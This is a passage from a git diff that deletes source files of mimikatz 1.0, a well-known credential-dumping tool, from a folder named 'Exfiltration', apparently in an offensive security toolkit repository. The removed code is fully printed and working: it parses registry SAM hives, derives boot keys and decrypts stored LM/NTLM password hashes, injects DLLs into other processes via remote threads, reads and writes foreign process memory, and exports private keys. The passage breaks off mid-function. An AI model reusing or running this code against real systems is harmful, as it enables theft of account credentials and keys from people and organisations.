http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include -#include - -class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */ -{ -public: - static bool getVectorProviders(vector * monVectorProviders); - static bool getVectorContainers(vector * monVectorContainers, bool isMachine = false); - static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false); - static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize); - static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable); - static bool getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType = LEGACY_RSAPRIVATE_BLOB); - static bool NCryptFreeObject(NCRYPT_HANDLE hObject); - - static bool isNcrypt; - static bool justInitCNG(LPCWSTR pszProviderName = NULL); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp deleted file mode 100644 index fe32c49..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_hash.cpp +++ /dev/null @@ -1,150 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_hash.h" - -PSYSTEM_FUNCTION_006 mod_hash::SystemFunction006 = reinterpret_cast(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction006")); -PSYSTEM_FUNCTION_007 mod_hash::SystemFunction007 = reinterpret_cast(GetProcAddress(GetModuleHandle(L"advapi32"), "SystemFunction007")); -PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING mod_hash::RtlUpcaseUnicodeStringToOemString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlUpcaseUnicodeStringToOemString")); -PRTL_INIT_UNICODESTRING mod_hash::RtlInitUnicodeString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); -PRTL_FREE_OEM_STRING mod_hash::RtlFreeOemString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlFreeOemString")); - -bool mod_hash::lm(wstring * chaine, wstring * hash) -{ - bool status = false; - UNICODE_STRING maChaine; - OEM_STRING maDestination; - BYTE monTab[16]; - - RtlInitUnicodeString(&maChaine, chaine->c_str()); - if(NT_SUCCESS(RtlUpcaseUnicodeStringToOemString(&maDestination, &maChaine, TRUE))) - { - if(status = NT_SUCCESS(SystemFunction006(maDestination.Buffer, monTab))) - hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); - - RtlFreeOemString(&maDestination); - } - return status; -} - -bool mod_hash::ntlm(wstring * chaine, wstring * hash) -{ - bool status = false; - UNICODE_STRING maChaine; - BYTE monTab[16]; - - RtlInitUnicodeString(&maChaine, chaine->c_str()); - if(status = NT_SUCCESS(SystemFunction007(&maChaine, monTab))) - hash->assign(mod_text::stringOfHex(monTab, sizeof(monTab))); - return status; -} - -void mod_hash::getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]) -{ - BYTE permut[] = {0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04}; - for(unsigned int i = 0; i < 0x10; i++) - bootkey[i] = key[permut[i]]; -} - -bool mod_hash::getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF) -{ - bool reussite = false; - unsigned char qwe[] = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"; - unsigned char num[] = "0123456789012345678901234567890123456789"; - - HCRYPTPROV hCryptProv = NULL; - HCRYPTHASH hHash = NULL; - if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) - { - BYTE md5hash[0x10] = {0}; - DWORD dwHashDataLen = sizeof(md5hash); - CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); - CryptHashData(hHash, AccountsF + 0x70, 0x10, 0); - CryptHashData(hHash, qwe, sizeof(qwe), 0); - CryptHashData(hHash, bootKey, 0x10, 0); - CryptHashData(hHash, num, sizeof(num), 0); - CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); - CryptDestroyHash(hHash); - CryptReleaseContext(hCryptProv, 0); - reussite = mod_crypto::genericDecrypt(AccountsF + 0x80, 0x10, md5hash, 0x10, CALG_RC4, hBootKey, 0x10); - } - return reussite; -} - -bool mod_hash::decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm) -{ - bool reussite = false; - unsigned char ntpassword[] = "NTPASSWORD"; - unsigned char lmpassword[] = "LMPASSWORD"; - - BYTE obfkey[0x10]; - BYTE mes2CleDES[0x10]; - - if(encHash->lenght == 0x10 + 4) - { - HCRYPTPROV hCryptProv = NULL; - HCRYPTHASH hHash = NULL; - if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) - { - BYTE md5hash[0x10] = {0}; - DWORD dwHashDataLen = 0x10; - CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash); - CryptHashData(hHash, hBootKey, 0x10, 0); - CryptHashData(hHash, (BYTE *) &rid, sizeof(rid), 0); - CryptHashData(hHash, isNtlm ? ntpassword : lmpassword, isNtlm ? sizeof(ntpassword) : sizeof(lmpassword), 0); - CryptGetHashParam(hHash, HP_HASHVAL, md5hash, &dwHashDataLen, 0); - CryptDestroyHash(hHash); - - CryptReleaseContext(hCryptProv, 0); - - if(mod_crypto::genericDecrypt(&(userV->datas) + encHash->offset + 4, 0x10, md5hash, 0x10, CALG_RC4, obfkey, 0x10)) - { - sid_to_key1(rid, mes2CleDES); - sid_to_key2(rid, mes2CleDES + 8); - - reussite = mod_crypto::genericDecrypt(obfkey + 0, sizeof(obfkey) / 2, mes2CleDES + 0, sizeof(mes2CleDES) / 2, CALG_DES) && - mod_crypto::genericDecrypt(obfkey + 8, sizeof(obfkey) / 2, mes2CleDES + 8, sizeof(mes2CleDES) / 2, CALG_DES); - } - } - } - hash->assign(reussite ? mod_text::stringOfHex(obfkey, sizeof(obfkey)) : L""); - - return reussite; -} - -void mod_hash::str_to_key(BYTE *str, BYTE *key) -{ - key[0] = str[0] >> 1; - key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2); - key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3); - key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4); - key[4] = ((str[3] & 0x0f) << 3) | (str[4] >> 5); - key[5] = ((str[4] & 0x1f) << 2) | (str[5] >> 6); - key[6] = ((str[5] & 0x3f) << 1) | (str[6] >> 7); - key[7] = str[6] & 0x7f; - for (DWORD i = 0; i < 8; i++) - key[i] = (key[i] << 1); -} - -void mod_hash::sid_to_key1(DWORD sid, BYTE deskey[8]) -{ - unsigned char s[7]; - s[0] = s[4] = (unsigned char)((sid) & 0xff); - s[1] = s[5] = (unsigned char)((sid >> 8) & 0xff); - s[2] = s[6] = (unsigned char)((sid >>16) & 0xff); - s[3] = (unsigned char)((sid >>24) & 0xff); - str_to_key(s, deskey); -} - -void mod_hash::sid_to_key2(DWORD sid, BYTE deskey[8]) -{ - unsigned char s[7]; - - s[0] = s[4] = (unsigned char)((sid >>24) & 0xff); - s[1] = s[5] = (unsigned char)((sid) & 0xff); - s[2] = s[6] = (unsigned char)((sid >> 8) & 0xff); - s[3] = (unsigned char)((sid >>16) & 0xff); - str_to_key(s, deskey); -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hash.h b/Exfiltration/mimikatz-1.0/modules/mod_hash.h deleted file mode 100644 index 19d7c44..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_hash.h +++ /dev/null @@ -1,81 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_text.h" -#include "mod_crypto.h" - -class mod_hash -{ -private: - static PSYSTEM_FUNCTION_006 SystemFunction006; - static PSYSTEM_FUNCTION_007 SystemFunction007; - static PRTL_UPCASE_UNICODE_STRING_TO_OEM_STRING RtlUpcaseUnicodeStringToOemString; - static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; - static PRTL_FREE_OEM_STRING RtlFreeOemString; - -public: - typedef enum _KIWI_HASH_TYPE - { - LM, - NTLM - } KIWI_HASH_TYPE; - - typedef struct _SAM_ENTRY { - DWORD offset; - DWORD lenght; - DWORD unk; -} SAM_ENTRY, *PSAM_SENTRY; - - typedef struct _OLD_LARGE_INTEGER { - unsigned long LowPart; - long HighPart; - } OLD_LARGE_INTEGER, *POLD_LARGE_INTEGER; - - typedef struct _USER_F { // http://www.beginningtoseethelight.org/ntsecurity/index.php#D3BC3F5643A17823 - DWORD unk0_header; - DWORD align; - OLD_LARGE_INTEGER LastLogon; - OLD_LARGE_INTEGER LastLogoff; - OLD_LARGE_INTEGER PasswordLastSet; - OLD_LARGE_INTEGER AccountExpires; - OLD_LARGE_INTEGER PasswordMustChange; - unsigned long UserId; - unsigned long unk1; - unsigned long UserAccountControl; - } USER_F, *PUSER_F; - - typedef struct _USER_V { - SAM_ENTRY unk0; - SAM_ENTRY Username; - SAM_ENTRY Fullname; - SAM_ENTRY Comment; - SAM_ENTRY UserComment; - SAM_ENTRY unk1; - SAM_ENTRY Homedir; - SAM_ENTRY Homedirconnect; - SAM_ENTRY Scriptpath; - SAM_ENTRY Profilepath; - SAM_ENTRY Workstations; - SAM_ENTRY HoursAllowed; - SAM_ENTRY unk2; - SAM_ENTRY LM; - SAM_ENTRY NTLM; - SAM_ENTRY unk3; - SAM_ENTRY unk4; - BYTE datas; - } USER_V, *PUSER_V; - - static bool lm(wstring * chaine, wstring * hash); - static bool ntlm(wstring * chaine, wstring * hash); - - static void getBootKeyFromKey(BYTE bootkey[0x10], BYTE key[0x10]); - static bool getHbootKeyFromBootKeyAndF(BYTE hBootKey[0x10], BYTE bootKey[0x10], BYTE * AccountsF); - static bool decryptHash(wstring * hash, BYTE * hBootKey, USER_V * userV, SAM_ENTRY * encHash, DWORD rid, bool isNtlm); - static void str_to_key(BYTE *str, BYTE *key); - static void sid_to_key1(DWORD sid, BYTE deskey[8]); - static void sid_to_key2(DWORD sid, BYTE deskey[8]); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp b/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp deleted file mode 100644 index a0e79cd..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_hive.cpp +++ /dev/null @@ -1,242 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_hive.h" - -mod_hive::nk_hdr* mod_hive::read_nk(nk_hdr *nk, hive *h, int offset ) -{ - memcpy(nk, h->base + offset + 4, sizeof(nk_hdr)); - nk->key_name = (h->base + offset + 4 + 76); - return nk; -} - -mod_hive::lf_hdr* mod_hive::read_lf(lf_hdr *lf, hive *h, int offset ) -{ - memcpy(lf, h->base+offset+4, sizeof(lf_hdr)); - lf->hr = (h->base+offset+4+4); - return lf; -} - -mod_hive::vk_hdr* mod_hive::read_vk(vk_hdr *vk, hive *h, int offset ) -{ - memcpy(vk, h->base+offset+4, sizeof(vk_hdr)); - vk->value_name = (h->base+offset+4+20); - return vk; -} - -int* mod_hive::read_valuevector(int *value, hive *h, int offset, int size ) -{ - memcpy(value, h->base+offset+4, size*sizeof(int)); - return value; -} - -mod_hive::hashrecord* mod_hive::read_hr(hashrecord *hr, unsigned char *pos, int index ) -{ - pos+=(8*index); - memcpy(hr, pos, sizeof(hashrecord)); - return hr; -} - - -unsigned char* mod_hive::read_data(hive *h, int offset ) -{ - return ((unsigned char*) (h->base + offset + 4)); -} - -bool mod_hive::InitHive(hive *h) -{ - h->base = NULL; - return true; -} - -bool mod_hive::RegOpenHive(const wchar_t *filename, hive *h) -{ - bool reussite = false; - FILE *hiveh; - unsigned long hsize; - - if(_wfopen_s(&hiveh, filename, L"rb" ) == 0) - { - if(fseek(hiveh, 0, SEEK_END) == 0) - { - hsize = ftell(hiveh); - h->base = new unsigned char[hsize]; - fseek(hiveh, 0, SEEK_SET); - - if(fread(h->base, hsize, 1, hiveh) == 1) - { - reussite = *((int *)h->base) == 0x66676572; - } - } - fclose(hiveh); - } - return reussite; -} - -bool mod_hive::RegCloseHive(hive *h ) -{ - if(h->base != NULL) - { - delete[] h->base; - } - return true; -} - - -long mod_hive::parself(hive *h, char *t, unsigned long off ) -{ - nk_hdr *n; - lf_hdr *l; - hashrecord *hr; - - int i; - - hr = (hashrecord*) malloc(sizeof(hashrecord)); - n = (nk_hdr*) malloc(sizeof(nk_hdr)); - l = (lf_hdr*) malloc(sizeof(lf_hdr)); - l = read_lf(l, h, off ); - - for(i = 0; i < l->key_num; i++ ) - { - hr = read_hr(hr, l->hr, i); - n = read_nk(n, h, hr->nk_offset + 0x1000 ); - if(!memcmp( t, n->key_name, n->name_len ) && (strlen(t) == n->name_len)) - { - free(n); - free(l); - return hr->nk_offset; - } - } - free(n); - free(l); - return -1; -} - -bool mod_hive::RegGetRootKey(hive *h, string *root_key) -{ - bool reussite = false; - nk_hdr * n = new nk_hdr(); - read_nk(n, h, 0x1020); - if (n->id == NK_ID && n->type == NK_ROOT) - { - root_key->assign((const char *) n->key_name, n->name_len); - reussite = true; - } - delete n; - return reussite; -} - -bool mod_hive::RegOpenKey(hive *h, string * path, nk_hdr **nr) -{ - bool reussite = false; - - nk_hdr *n = new nk_hdr(); - char *t, *tpath; - unsigned long noff = 0; - - read_nk(n, h, 0x1020); - - if(n->id == NK_ID && n->type == NK_ROOT) - { - tpath = strdup(path->c_str()); - t = strtok(tpath, "\\"); - - if(!memcmp(t, n->key_name, n->name_len)) - { - t = strtok(NULL, "\\"); - while(t != NULL) - { - noff = parself(h, t, n->lf_off + 0x1000); - if(noff != -1) - { - read_nk(n, h, noff + 0x1000); - t = strtok( NULL, "\\" ); - } - else - { - break; - } - } - - if(t == NULL && noff != 1) - { - memcpy(*nr, n, sizeof(nk_hdr)); - reussite = true; - } - } - free(tpath); - } - - delete n; - return reussite; -} - -bool mod_hive::RegQueryValue(hive *h, string *name, nk_hdr *nr, unsigned char **buff, int *len ) -{ - bool reussite = false; - - vk_hdr *v = new vk_hdr(); - int * l = new int[nr->value_cnt]; - - read_valuevector(l, h, nr->value_off + 0x1000, nr->value_cnt); - - for(unsigned int i = 0; i < nr->value_cnt; i++) - { - read_vk(v, h, l[i] + 0x1000); - if((!memcmp(name->c_str(), v->value_name, name->size()) && v->name_len == name->size()) || (name == NULL && (v->flag & 1) == 0)) - { - *len = v->data_len & 0x0000FFFF; - *buff = new unsigned char[*len]; - if (*len < 5) - { - memcpy(*buff, &(v->data_off), *len); - } - else - { - memcpy(*buff, read_data(h, v->data_off + 0x1000), *len); - } - reussite = true; - break; - } - } - delete[] l; - delete v; - return reussite; -} - -bool mod_hive::RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len) -{ - bool reussite = false; - mod_hive::nk_hdr * nodeKey = new mod_hive::nk_hdr(); - if(mod_hive::RegOpenKey(h, path, &nodeKey)) - { - reussite = mod_hive::RegQueryValue(h, name, nodeKey, buff, len); - } - delete nodeKey; - return reussite; -} - - - -bool mod_hive::RegEnumKey(hive *h, nk_hdr *nr, vector * names) -{ - int index = 0; - - lf_hdr *lf = new lf_hdr(); - nk_hdr *nk = new nk_hdr(); - hashrecord *hr = new hashrecord(); - - while(index < nr->subkey_num) - { - lf = read_lf(lf, h, nr->lf_off + 0x1000 ); - hr = read_hr(hr, lf->hr, index); - nk = read_nk(nk, h, hr->nk_offset + 0x1000 ); - names->push_back(string(reinterpret_cast(nk->key_name), nk->name_len)); - index++; - } - - delete lf, nk, hr; - return !names->empty(); -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_hive.h b/Exfiltration/mimikatz-1.0/modules/mod_hive.h deleted file mode 100644 index 527a154..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_hive.h +++ /dev/null @@ -1,88 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -using namespace std; - -#define NK_ID 0x6B6E -#define NK_ROOT 0x2c -#define LF_ID 0x666C - -class mod_hive -{ -public: - typedef struct _hive - { - unsigned char *base; - } hive; - - typedef struct _nk_hdr - { - short int id; - short int type; - int t1, t2; - int unk1; - int parent_off; - int subkey_num; - int unk2; - int lf_off; - int unk3; - /* unsigned */ - unsigned int value_cnt; - int value_off; - int sk_off; - int classname_off; - int unk4[4]; - int unk5; - short int name_len; - short int classname_len; - unsigned char *key_name; - } nk_hdr; - - typedef struct _hashrecord - { - int nk_offset; - char keyname[4]; - } hashrecord; - - typedef struct _lf_hdr - { - short int id; - short int key_num; - unsigned char *hr; - } lf_hdr; - - typedef struct _vk_hdr - { - short int id; - short int name_len; - int data_len; - int data_off; - int data_type; - short int flag; - short int unk1; - unsigned char *value_name; - } vk_hdr; - - static bool InitHive(hive *h); - static bool RegOpenHive(const wchar_t * filename, hive *h); - static bool RegCloseHive(hive *h); - static bool RegGetRootKey(hive *h, string *root_key); - static bool RegOpenKey(hive *h, string *path, nk_hdr **nr); - static bool RegQueryValue(hive *h, /*char *name*/ string *name, nk_hdr *nr, unsigned char **buff, int *len); - static bool RegOpenKeyQueryValue(hive *h, string *path, string *name, unsigned char **buff, int *len); - static bool RegEnumKey(hive *h, nk_hdr *nr, vector * names); - - static long parself(hive *h, char *t, unsigned long off); - static unsigned char* read_data(hive *h, int offset); -private: - static nk_hdr* read_nk(nk_hdr *nk, hive *h, int offset); - static lf_hdr* read_lf(lf_hdr *lf, hive *h, int offset); - static vk_hdr* read_vk(vk_hdr *vk, hive *h, int offset); - static hashrecord* read_hr(hashrecord *hr, unsigned char *pos, int index); - static int* read_valuevector(int *value, hive *h, int offset, int size); - -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp b/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp deleted file mode 100644 index 2547a2d..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_inject.cpp +++ /dev/null @@ -1,72 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_inject.h" - -bool mod_inject::injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath) -{ - bool reussite = false; - - wstring maLibComplete = L""; - if(mod_system::getAbsolutePathOf(*fullLibraryPath, &maLibComplete)) - { - bool fileExist = false; - if(mod_system::isFileExist(maLibComplete, &fileExist) && fileExist) - { - SIZE_T szFullLibraryPath = static_cast((maLibComplete.size() + 1) * sizeof(wchar_t)); - - if(LPVOID remoteVm = VirtualAllocEx(handleProcess, NULL, szFullLibraryPath, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) - { - if(mod_memory::writeMemory(remoteVm, maLibComplete.c_str(), szFullLibraryPath, handleProcess)) - { - PTHREAD_START_ROUTINE pThreadStart = reinterpret_cast(GetProcAddress(GetModuleHandle(L"kernel32"), "LoadLibraryW")); - HANDLE hRemoteThread = INVALID_HANDLE_VALUE; - - if(mod_system::GLOB_Version.dwMajorVersion > 5) - { - PRTL_CREATE_USER_THREAD RtlCreateUserThread = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlCreateUserThread")); - SetLastError(RtlCreateUserThread(handleProcess, NULL, 0, 0, 0, 0, pThreadStart, remoteVm, &hRemoteThread, NULL)); - } - else - { - hRemoteThread = CreateRemoteThread(handleProcess, NULL, 0, pThreadStart, remoteVm, 0, NULL); - } - - if(hRemoteThread && hRemoteThread != INVALID_HANDLE_VALUE) - { - WaitForSingleObject(hRemoteThread, INFINITE); - reussite = true; - CloseHandle(hRemoteThread); - } - } - VirtualFreeEx(handleProcess, remoteVm, 0, MEM_RELEASE); - } - } - } - return reussite; -} - -bool mod_inject::injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath) -{ - bool reussite = false; - if(HANDLE processHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) - { - reussite = injectLibraryInHandle(processHandle, fullLibraryPath); - CloseHandle(processHandle); - } - return reussite; -} - -bool mod_inject::injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath) -{ - bool reussite = false; - - mod_process::KIWI_PROCESSENTRY32 monProcess; - if(mod_process::getUniqueForName(&monProcess, &processName)) - { - reussite = injectLibraryInPid(monProcess.th32ProcessID, fullLibraryPath); - } - return reussite; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_inject.h b/Exfiltration/mimikatz-1.0/modules/mod_inject.h deleted file mode 100644 index a0f77d8..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_inject.h +++ /dev/null @@ -1,19 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_memory.h" -#include "mod_system.h" -#include "mod_process.h" - -class mod_inject -{ -public: - static bool injectLibraryInHandle(const HANDLE & handleProcess, wstring * fullLibraryPath); - static bool injectLibraryInPid(const DWORD & pid, wstring * fullLibraryPath); - static bool injectLibraryInSingleProcess(wstring & processName, wstring * fullLibraryPath); -}; - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp b/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp deleted file mode 100644 index 1e2ba8e..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_memory.cpp +++ /dev/null @@ -1,140 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_memory.h" - -bool mod_memory::readMemory(const void * adresseBase, void * adresseDestination, size_t longueur, HANDLE handleProcess) -{ - if(handleProcess == INVALID_HANDLE_VALUE) - { - return (memcpy_s(adresseDestination, longueur, adresseBase, longueur) == 0); - } - else - { - SIZE_T dwBytesRead = 0; - return ((ReadProcessMemory(handleProcess, adresseBase, adresseDestination, longueur, &dwBytesRead) != 0) && (dwBytesRead == longueur)); - } -} - -bool mod_memory::writeMemory(void * adresseBase, const void * adresseSource, size_t longueur, HANDLE handleProcess) -{ - bool reussite = false; - DWORD OldProtect, OldProtect2; - - if(handleProcess == INVALID_HANDLE_VALUE) - { - if(VirtualProtect(adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) - { - reussite = (memcpy_s(adresseBase, longueur, adresseSource, longueur) == 0); - VirtualProtect(adresseBase, longueur, OldProtect, &OldProtect2); - } - } - else - { - if(VirtualProtectEx(handleProcess, adresseBase, longueur, PAGE_EXECUTE_READWRITE, &OldProtect) != 0) - { - SIZE_T dwBytesWrite = 0; - reussite = ((WriteProcessMemory(handleProcess, adresseBase, adresseSource, longueur, &dwBytesWrite) != 0) && (dwBytesWrite == longueur)); - VirtualProtectEx(handleProcess, adresseBase, longueur, OldProtect, &OldProtect2); - } - } - - return reussite; -} - - -bool mod_memory::searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur, bool enAvant, HANDLE handleProcess) -{ - BYTE * monTab = new BYTE[longueur]; - *addressePattern = adresseBase; - bool succesLecture = true; - bool succesPattern = false; - - while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern) - { - if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess)) - { - if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0))) - { - *addressePattern += (enAvant ? 1 : -1); - } - } - } - delete[] monTab; - - if(!succesPattern) - *addressePattern = NULL; - - return succesPattern; -} - -bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess) -{ - PBYTE addressePattern = NULL; - bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess); - *offsetPattern = addressePattern - adresseBase; - return resultat; -} - -bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr) -{ - bool resultat = false; - if(thePtr && pattern && taillePattern) - { - if(HMODULE monModule = GetModuleHandle(moduleName)) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - PBYTE addrMonModule = reinterpret_cast(mesInfos.lpBaseOfDll); - - if(PBYTE addrDebut = startFunc ? reinterpret_cast(GetProcAddress(monModule, startFunc)) : addrMonModule) - { - if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant)) - { - *thePtr += offSetToPtr; - if(!noPtr) - { -#ifdef _M_X64 - *thePtr += sizeof(long) + *reinterpret_cast(*thePtr); -#elif defined _M_IX86 - *thePtr = *reinterpret_cast(*thePtr); -#endif - } - } - else *thePtr = NULL; - } - } - } - } - return resultat; -} - -/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle là ! -{ - PBYTE autreAddr = adresseBase; - PBYTE monMask = new BYTE[longueurMask]; - PBYTE monTab = new BYTE[longueurMask]; - - RtlCopyMemory(monMask, maskPattern, longueurMask); - bool succesLecture = false, succesPattern = false; - do - { - PBYTE funkyDiff = reinterpret_cast(addrPattern - (autreAddr + offsetAddrInMask + 4)); - RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast(&funkyDiff), 4); - succesLecture = readMemory(autreAddr, monTab, longueurMask); - succesPattern = memcmp(monTab, monMask, longueurMask) == 0; - autreAddr+=offset; - } while(!succesPattern && succesLecture); - - delete[] monMask; - - if(succesPattern && succesLecture) - { - *addressePattern = autreAddr-offset; - return true; - } - else return false; -}*/ diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.h b/Exfiltration/mimikatz-1.0/modules/mod_memory.h deleted file mode 100644 index 31eb27f..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_memory.h +++ /dev/null @@ -1,22 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include - -class mod_memory -{ -public: - static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); - static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE); - - static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); - static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE); - - static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false); - - /*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle là !*/ -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp deleted file mode 100644 index 2825451..0000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp +++ /dev/null @@ -1,163 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_minidump.h" - -mod_minidump::mod_minidump() : monFichier(NULL), monFileMapping(NULL), mesDonnees(NULL) -{ -} - -mod_minidump::~mod_minidump(void) -{ - if(mesDonnees) - UnmapViewOfFile(mesDonnees); - - if(monFileMapping) - CloseHandle(monFileMapping); - - if(monFichier) - CloseHandle(monFichier); -} - -LPVOID mod_minidump::RVAtoPTR(RVA monRVA) -{ - return reinterpret_cast(mesDonnees) + monRVA; -} - -bool 